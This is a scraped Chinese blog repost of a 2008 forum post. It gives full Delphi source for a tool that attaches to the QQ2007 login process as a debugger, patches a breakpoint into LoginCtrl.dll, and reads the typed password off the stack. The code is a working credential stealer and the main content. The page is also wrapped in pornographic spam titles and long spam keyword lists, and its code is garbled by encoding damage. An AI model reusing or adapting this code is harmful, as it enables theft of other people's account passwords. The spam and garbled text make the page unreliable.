青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

S.l.e!ep.¢%

像打了激速一樣,以四倍的速度運轉,開心的工作
簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理

利用Debug Api 獲得QQ2007密碼

Posted on 2010-01-13 21:47 S.l.e!ep.¢% 閱讀(398) 評論(0)  編輯 收藏 引用 所屬分類: RootKit
利用Debug Api 獲得QQ2007密碼
open[xgc] 當前離線 添加 open[xgc] 的聲望 反映此帖

標 題: 利用Debug Api 獲得QQ2007密碼
作 者: open[xgc]
時 間: 2008-03-04,12:52
鏈 接: http://bbs.pediy.com/showthread.php?t=60623

隨手寫寫的代碼.這是上年的代碼.2008版同樣可以在ESP+24讀取密碼.只不過下斷位置不同罷了.

{*******************************************************}
{???????????????????????????????????????????????????????}
{???????利用Debug?Api?獲得QQ2007密碼????????????????????}
{???只支持QQ2007版本為7.1.576.1763或7.0.431.1723????????}
{???????版權所有?(C)?2008?Open[x.g.c]???????????????????}
{???????????????????????????????????????????????????????}
{*******************************************************}

unit?Unit1;

interface

uses
??Windows,?Messages,?SysUtils,?Variants,?Classes,?Graphics,?Controls,?Forms,
??Dialogs,?StdCtrls,?ComCtrls,psapi,StrUtils;

type
??TForm1?=?class(TForm)
????Button1:?TButton;
????Label1:?TLabel;
????procedure?Button1Click(Sender:?TObject);
??private
????{?Private?declarations?}
??public
????{?Public?declarations?}
??end;

var
??Form1:?TForm1;
const
????Code?:DWORD?=?$CC;
????JCode?:DWORD?=$8D;
implementation

{$R?*.dfm}
var
??ProcessID:?DWORD;

function?HexToInt(HexStr:?string):?Int64;
var
??RetVar:?Int64;
??i:?byte;
begin
??HexStr?:=?UpperCase(HexStr);
??if?HexStr[length(HexStr)]?=?'H'?then
????Delete(HexStr,?length(HexStr),?1);
??RetVar?:=?0;
??for?i?:=?1?to?length(HexStr)?do?begin
????RetVar?:=?RetVar?shl?4;
????if?HexStr[i]?in?['0'..'9']?then
??????RetVar?:=?RetVar?+?(byte(HexStr[i])?-?48)
????else
??????if?HexStr[i]?in?['A'..'F']?then
????????RetVar?:=?RetVar?+?(byte(HexStr[i])?-?55)
??????else?begin
????????Retvar?:=?0;
????????break;
??????end;
??end;
??Result?:=?RetVar;
end;


function?GetMem(nOK??:THANDLE;Addr:DWORD;len:integer=0):string;
const?FindCount=100;
var
????buf1:array[0..FindCount]?of?pchar?;
????OK??:BOOL;
????nSize:?DWORD;
????lpNumberOfBytesRead:cardinal;
????res,tmp:string;
????s:array[0..FindCount]?of?string;
????i:integer;
begin
??if?len<>0?then?begin
????nSize:=len?;
????buf1[0]:=AllocMem(nSize);
????OK?:=ReadProcessMemory(nOK,Pointer(addr),buf1[0],nSize,lpNumberOfBytesRead);
????if(OK?or?(nSize<>lpNumberOfBytesRead))?then?begin
??????s[0]:='';
??????for?i?:=0??to?nSize-1?do??begin
????????s[0]?:=?s[0]?+?format('%.2X',[ord(buf1[0][i])]);
??????end;
????end;
????FreeMem(buf1[0],?nSize);
????tmp:=s[0];
????i:=1;
????res:='';
????while?i<length(tmp)?do?begin
??????res:=res+chr(HexToInt(copy(tmp,i,2)));
??????inc(i,2);
????end;
????result:=res;
????exit;
??end;
end;



procedure?NewProcess;
??var
??????I:?Integer;
??????Count:?DWORD;
??????ModHandles:?array[0..$3FFF?-?1]?of?DWORD;
??????ModInfo:?TModuleInfo;
??????ModName:?array[0..MAX_PATH]?of?char;
??????Num?:?Cardinal;
??????Rc,ok?:Boolean;
??????DebugD:?DEBUG_EVENT;
??????Context:?_CONTEXT;
??????base:?Pointer;
??????ProcHand?:?THandle;
??????ThreadHandle?:THandle;
??????EAX?:?string;
begin
??????ProcHand?:=?OpenProcess(PROCESS_ALL_ACCESS,False,ProcessID);
??????if?ProcHand?<>?0?then
???try
??????EnumProcessModules(ProcHand,@ModHandles,SizeOf(ModHandles),Count);
??????????for?I?:=0?to?(Count?div?SizeOf(DWORD))?-?1?do
??????????????if?(GetModuleFileNameEx(ProcHand,ModHandles[I],ModName,SizeOf(ModName))?>?0)?and?GetModuleInformation(ProcHand,
??????????????????ModHandles[I],@ModInfo,SizeOf(ModInfo))?and?(RightStr(UpperCase(ModName),13)=?'LOGINCTRL.DLL')?then
???????????????????begin
?????????????????????if??DWord(ModInfo.EntryPoint)?-?Dword(ModInfo.lpBaseOfDll)?=?$22C3A?then
?????????????????????base?:=??Pointer(DWord(ModInfo.lpBaseOfDll)+$15C90);
?????????????????????if??DWord(ModInfo.EntryPoint)?-?Dword(ModInfo.lpBaseOfDll)?=?$2043A?then
?????????????????????base?:=??Pointer(DWord(ModInfo.lpBaseOfDll)+$148A3);
?????????????????????ok?:=?WriteProcessMemory(ProcHand,base,@Code,1,Num);
?????????????????????if?not?ok?then?Exit;
?????????????????????if??not?DebugActiveProcess(ProcessID)?then??Exit;
?????????????????????Rc?:=?True;
?????while?WaitForDebugEvent(DebugD,?INFINITE)?do
???????begin
?????????case?DebugD.dwDebugEventCode?of
????????????EXIT_PROCESS_DEBUG_EVENT:
?????????begin
????????????Form1.Label1.Caption?:=?'被調試進程中止';
????????????Break;
???????????end;
????????????CREATE_PROCESS_DEBUG_EVENT:
?????????begin
????????????ThreadHandle?:=?DebugD.CreateProcessInfo.hThread;
????????????Form1.Label1.Caption?:=?'請輸入密碼點登錄';
??????????end;
?????????????EXCEPTION_DEBUG_EVENT:
?????????begin
???????????case?DebugD.Exception.ExceptionRecord.ExceptionCode?of
?????????????EXCEPTION_BREAKPOINT:
??????begin
?????????if??base?=?DebugD.Exception.ExceptionRecord.ExceptionAddress?then
?????????begin
???????????Context.ContextFlags?:=?CONTEXT_FULL;
???????????GetThreadContext(ThreadHandle,?Context);
???????????EAX?:=?Trim(GetMem(ProcHand,Context.Esp?+?$24,20));
???????????Form1.Label1.Caption?:=?'QQ密碼:'?+?EAX??;
???????????Rc?:=?WriteProcessMemory(ProcHand,Pointer(dword(base)),@JCode,1,Num);
???????????Context.Eip?:=?dword(base);
???????????SetThreadContext(ThreadHandle,?Context);
????????end;
??????end;
???end;
???????end;
??????end;
????if?Rc?then
??????ContinueDebugEvent(DebugD.dwProcessId,?DebugD.dwThreadId,DBG_CONTINUE)
????else
??????ContinueDebugEvent(DebugD.dwProcessId,?DebugD.dwThreadId,?DBG_EXCEPTION_NOT_HANDLED);
????end;
??????CloseHandle(ThreadHandle);
??end;
??????finally
??????????CloseHandle(ProcHand);
??????end;
??end;


procedure?TForm1.Button1Click(Sender:?TObject);
var
??h:?HWND;
??ThreadID:?THandle;
begin
??h?:=?FindWindow(nil,'QQ用戶登錄');
??if?h?=?0?then
?begin
??Form1.Label1.Caption?:=?'沒有找到QQ登錄框'??;
??Exit;
?end;
??GetWindowThreadProcessId(h,ProcessID)?;
??CreateThread(nil,?0,?@NewProcess,?nil,?0,?ThreadID)?;
end;

end.
青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            在线视频免费在线观看一区二区| 欧美三级电影一区| 免费观看欧美在线视频的网站| 午夜精品国产更新| 欧美一区二区三区婷婷月色| 欧美在现视频| 美日韩免费视频| 欧美国产欧美亚洲国产日韩mv天天看完整 | 中日韩美女免费视频网站在线观看| 亚洲国产精品久久久| 亚洲欧洲日韩在线| 亚洲一区在线免费观看| 久久疯狂做爰流白浆xx| 欧美成人一区二区三区| 国产精品盗摄久久久| 狠狠色香婷婷久久亚洲精品| 亚洲国产美女久久久久| 亚洲自拍电影| 欧美国产精品va在线观看| 日韩天堂av| 久久精品日韩| 欧美日韩亚洲综合| 在线观看不卡av| 亚洲欧美视频在线观看| 久久亚洲精品一区二区| 亚洲欧洲精品一区二区| 一区二区三区四区五区在线| 亚洲一区免费网站| 久久久久久亚洲精品杨幂换脸| 欧美高清在线视频观看不卡| 国产精品丝袜白浆摸在线| 亚洲国产99| 久久精品官网| 一本大道久久a久久综合婷婷| 久久久久久国产精品一区| 国产精品国产三级国产普通话三级 | 久久久久久婷| 夜久久久久久| 免费中文日韩| 在线欧美不卡| 久久久久久免费| 午夜精品免费在线| 欧美吻胸吃奶大尺度电影| 最近看过的日韩成人| 蜜桃久久av一区| 久久亚裔精品欧美| 好看的日韩av电影| 开心色5月久久精品| 篠田优中文在线播放第一区| 国产精品国产亚洲精品看不卡15| av成人国产| 亚洲破处大片| 欧美精品一区二区蜜臀亚洲| 亚洲韩国日本中文字幕| 欧美成人精品1314www| 久久久久国产成人精品亚洲午夜| 国产一区二区三区日韩| 久久久噜噜噜久久狠狠50岁| 亚洲欧美国产精品桃花| 国产精品一区一区三区| 欧美一级专区| 久久久国产视频91| 亚洲二区在线| 91久久精品国产| 欧美日韩国产色视频| 在线综合+亚洲+欧美中文字幕| 亚洲精品美女在线观看播放| 欧美日韩中文| 欧美一二三区在线观看| 欧美一级视频| 一区在线视频观看| 亚洲第一精品福利| 欧美日韩国产在线一区| 亚洲免费中文字幕| 欧美一区二区三区四区夜夜大片| 国产一区二区中文| 欧美国产1区2区| 欧美先锋影音| 久久久噜噜噜久久人人看| 噜噜噜躁狠狠躁狠狠精品视频| 亚洲欧洲视频在线| 中日韩美女免费视频网址在线观看| 亚洲免费一级电影| 午夜精品久久久久久99热| 亚洲女人天堂成人av在线| 国产午夜精品在线| 欧美黄色视屏| 国产精品久久久久影院色老大 | 久久亚洲图片| 中文在线资源观看视频网站免费不卡| 中文一区二区在线观看| 国产综合色产| 亚洲美女在线视频| 黄色日韩精品| 一区二区不卡在线视频 午夜欧美不卡在| 国产人成精品一区二区三| 欧美激情一区二区三区成人| 欧美午夜精品| 亚洲高清不卡一区| 国产亚洲欧美日韩美女| 亚洲国产日韩欧美在线图片| 国产精品国产成人国产三级| 欧美大片在线观看一区| 国产精品亚洲综合天堂夜夜| 亚洲第一在线综合网站| 国产精品综合av一区二区国产馆| 欧美激情网站在线观看| 国产亚洲成年网址在线观看| 99精品欧美一区| 在线看国产一区| 亚洲免费影视第一页| 夜夜嗨av一区二区三区中文字幕| 久久精品一区二区三区不卡| 亚洲欧美在线免费观看| 欧美激情一区二区在线 | 久久免费国产| 欧美在线免费观看| 国产精品白丝jk黑袜喷水| 亚洲国语精品自产拍在线观看| 国产日韩一区在线| 亚洲视频www| 中文在线一区| 欧美日韩国产综合视频在线| 亚洲成人在线免费| 国产综合精品| 夜夜嗨av一区二区三区免费区| 在线成人欧美| 久久精品视频在线观看| 欧美一区二区三区视频免费播放| 欧美日韩精品免费观看视一区二区 | 欧美不卡在线视频| 久久久免费观看视频| 国产伦精品一区二区三区视频孕妇| 日韩午夜免费视频| 一区二区三区成人精品| 欧美日韩成人综合在线一区二区 | 久久国产精品一区二区三区四区| 亚洲欧美日韩一区二区三区在线| 欧美日韩国产综合视频在线观看中文| 亚洲国产一成人久久精品| 亚洲国产mv| 欧美r片在线| 亚洲二区视频| 日韩视频三区| 欧美视频一区二| 亚洲欧美一区二区精品久久久| 性色av一区二区三区| 国产一区二区精品久久91| 久久不射中文字幕| 欧美福利电影网| 在线亚洲+欧美+日本专区| 国产精品theporn| 香蕉久久国产| 欧美激情第1页| 一本一本久久a久久精品综合妖精 一本一本久久a久久精品综合麻豆 | 国产视频久久久久| 久久久精品国产免费观看同学| 老司机精品久久| 亚洲另类视频| 国产精品一二一区| 久久久久欧美精品| 亚洲精选久久| 久久精品国产第一区二区三区| 在线成人激情黄色| 国产精品theporn88| 久久精品国产清高在天天线| 欧美激情小视频| 性欧美在线看片a免费观看| 在线免费高清一区二区三区| 欧美精品一区二区在线播放| 亚洲欧美日韩国产中文| 亚洲国产精品一区二区三区| 亚洲欧美在线播放| 亚洲精品资源美女情侣酒店| 国产乱码精品| 欧美伦理在线观看| 久久精品国产成人| 99re8这里有精品热视频免费| 久久久久久午夜| 亚洲制服少妇| 亚洲精品美女在线观看| 国产一区999| 欧美视频一区二区三区…| 久久蜜桃av一区精品变态类天堂| 一区二区三区日韩精品| 欧美国产大片| 久久综合伊人77777尤物| 亚洲午夜激情| 一本到12不卡视频在线dvd| 一区二区在线视频| 国产欧美日韩激情| 亚洲黄一区二区| 国产日韩专区在线| 欧美日产在线观看| 免费成人av在线| 久久精品91久久久久久再现| 一本久道久久综合中文字幕| 亚洲高清视频中文字幕| 美女久久网站| 久久婷婷麻豆|